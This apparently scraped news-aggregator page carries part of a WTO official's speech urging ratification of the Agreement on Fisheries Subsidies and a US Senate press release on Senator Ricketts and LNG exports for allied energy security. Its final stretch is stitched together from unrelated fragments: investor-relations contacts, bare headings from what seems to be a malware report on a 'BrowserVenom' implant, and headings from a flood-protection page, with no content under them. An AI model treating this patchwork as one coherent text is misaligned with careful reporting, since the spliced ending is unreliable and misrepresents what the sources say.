USD 22 billion in harmful fisheries subsidies are provided every year. These contribute to the overexploitation of marine resources and can ultimately lead to the collapse of fish stocks and associated economic activities. Beyond fisheries, there are over USD 2 trillion of harmful subsidies on fossil fuels, agriculture and other purposes that could be redirected.
The Agreement establishes new multilateral rules that prohibit the most harmful forms of fisheries subsidies, freeing up resources that could be repurposed to support practices that promote healthy fisheries, livelihoods, food security and value added.
In addition to the BBNJ we need the AFS to enter into force. Once two-thirds of the WTO’s 166 members formally accept the agreement, its subsidy curbs will enter into force – and so will its provisions to provide developing and least-developed countries with technical and financial support to build the capacity needed to upgrade fisheries management, integrate sustainability considerations into their fisheries policies, and otherwise implement the new rules.
Our donor-supported Fish Fund last week launched its first call for proposals from members seeking such support – but disbursements cannot start until we get the ten more ratifications needed for entry into force. So let me once again request WTO Members that have not yet done so to help make history by ratifying the Agreement on Fisheries Subsidies as soon as possible!
As many of you are aware, WTO Members are working to build on the Agreement on Fisheries Subsidies by agreeing on additional disciplines that will disincentivize overcapacity and overfishing, and support the sustainable management of fishing resources. Here too, I urge WTO members represented here to work with each other to help us get to yes.

Key Point 2: Second, trade policy alone is not enough. The solutions we need require a coherent multisectoral approach that complements trade policy action with finance and investment to unlock inclusive, sustainable growth from the ocean economy, particularly for coastal developing countries and small island developing States.
The blue economy is estimated to have an annual value of over US$ 2.6 trillion . More than 3 billion people either directly or indirectly rely on the oceans for their livelihoods. Over 130 million are directly employed in ocean-based roles.
Several SIDS, coastal economies and LDCs are seeking to harness the economic potential of the ocean in a sustainable manner by complementing traditional sectors such as tourism, fisheries, and seaport activities with emerging industries like marine biotechnology, energy and mineral exploration.
They have opportunities to use trade to leverage green and blue comparative advantages – springing from their abundant renewable energy potential, sustainable agriculture, and biodiversity-based ocean products – to tap into emerging sustainable value chains.
If they can harness these opportunities, it would be ‘re-globalization’ in practice: contributing to sustainable growth, diversification and job creation while making the wider global economy more inclusive and resilient.
But realizing this vision requires international cooperation to maintain an open and predictable trading environment as well as to de-risk investment. At the WTO, we have another important plurilateral Agreement the Investment Facilitation for Development Agreement (IFDA) with 131 Members that does just this.
Key Point 3: Third, we can do more to unlock “win-win” outcomes that leverage trade policy to support economic development while protecting ocean sustainability.
Let’s look at a few examples.

One is maritime transport. Over 80 % of international trade by volume is shipped by sea. However, shipping also estimated to account for nearly 3% of global greenhouse gas emissions. There are other environmental impacts: oil spills and underwater noise pollution in sensitive maritime ecosystems; the spread of invasive alien species in ballast water and so forth.
Trade policies can help finding solutions to these sustainability challenges.
For instance, as public and private stakeholders step up work to decarbonize the shipping industry, with important recent outcomes at the IMO in this regard, governments can amplify their efforts by reducing trade barriers and facilitating the cross-border diffusion of environmentally friendly goods and services for green shipping. WTO work on standards and regulations (TBT), including energy efficiency requirements and promoting international standards for low emission fuels or hydrogen, could similarly lower costs and increase scale economies.. The WTO is a forum for members to share best practices and exchange views on their approaches to reduce shipping emissions. The initiative on fossil-fuel subsidy reforms led by a group of WTO members shows an additional path to help correct incentives for emissions reduction.
On a related subject, ocean based renewable energy has enormous potential. The global offshore wind energy market was valued at nearly USD 40 billion last year, and pilot projects are underway to harness tidal energy.
Trade is a necessary means to diffuse renewable energy technologies and related services, particularly to small countries that may have limited domestic production capacity.

Another area where trade policy can help is plastics and marine pollution. You all know about the “Great Pacific Garbage Patch” – an area roughly the size of Mongolia. You might not know that 83 WTO members are running a Dialogue on Plastic Pollution (DPP) and environmentally sustainable plastic trade, looking at issues such as plastics value chains, customs and regulatory issues, and how trade policy could help scale up plastic substitutes. Thanks to this work, we are beginning to better understand how trade policies could play a role in helping to tackle the problem – and we have been bringing these insights to our support for the ongoing UN International Plastics Treaty Negotiations (which I’m sure Inger from UN Environment will update you on).
Excellencies, ladies and gentlemen: let me conclude here, with three requests: 1) Remember that trade is part of the toolkit for the sustainability of marine and coastal ecosystems. 2) Please make sure that what your trade officials say in Geneva aligns with the positions you take in forums like this one. And 3) Please ratify the Fisheries Subsidies Agreement!
Thank you. I am looking forward to the discussion.

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MIL OSI Economics –

June 11, 2025
MIL-OSI USA: Ricketts Discusses Unleashing American Energy for Strengthening American Diplomacy

US Senate News:

Source: United States Senator Pete Ricketts (Nebraska)
WASHINGTON, D.C. – Today, during a Senate Foreign Relations Committee hearing, U.S. Senator Pete Ricketts (R-NE) discussed the role of American energy production in international diplomacy. Ricketts underscored the importance of energy production for success in the competition with Communist China.
“Last month, I hosted a bipartisan tabletop exercise with Senator Coons, simulating a Communist Chinese energy quarantine of Taiwan,” said Ricketts. “That exercise confirmed one of Taiwan’s biggest vulnerabilities, which is energy insecurity. But it’s not just about Taiwan, this is something that applies to all our allies in the region, who are nearly just as vulnerable in relying on seaborne energy imports in such a crisis… The most immediate answer to this problem for us is to increase our exports of LNG. We are the world’s top exporter with clean and reliable gas, it’s already helping our allies replace coal, reduce their emissions, and increase their energy resilience.”
Click here to watch more.
The hearing considered the nominations of Jacob Helberg, to be Under Secretary of State for Economic Growth, Energy, and the Environment; Paul Kapur, to be Assistant Secretary for South and Central Asian Affairs; Andy Puzder, to be Ambassador to the EU; Benjamin Black, to be CEO of DFC; and Howard Brodie, to be Ambassador to Finland.
BACKGROUND:
Earlier this month, Senator Ricketts led a congressional delegation (CODEL) trip to Singapore for the Shangri-La Dialogue conference with Senator Tammy Duckworth (D-IL). Last month, Senator Ricketts led a congressional delegation trip to Taiwan and the Philippines with Senators Chris Coons (D-DE) and Ted Budd (R-NC). Senators Ricketts and Coons are working as chairman and ranking member of the Senate Foreign Relations East Asia Subcommittee to support our allies and partners in the region against Communist China’s aggression, including conducting a recent tabletop exercise and introductions of the PORCUPINE Act and COUNTER Act.

MIL OSI USA News –

June 11, 2025

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In the United States:	The Blueshirt Group Steven C. Pelayo, CFA +1 (360) 808-5154 steven@blueshirtgroup.co

In China:	The Blueshirt Group Asia Gary Dvorchak, CFA gary@blueshirtgroup.co

Category: Environment

Introduction

Phishing lure

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Loaded implant: BrowserVenom

Conclusion

Indicators of Compromise

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Contact

Stock access weakens stopbanks

What to do if you see damaged stopbanks

Learn more about flood protection

What did we do?

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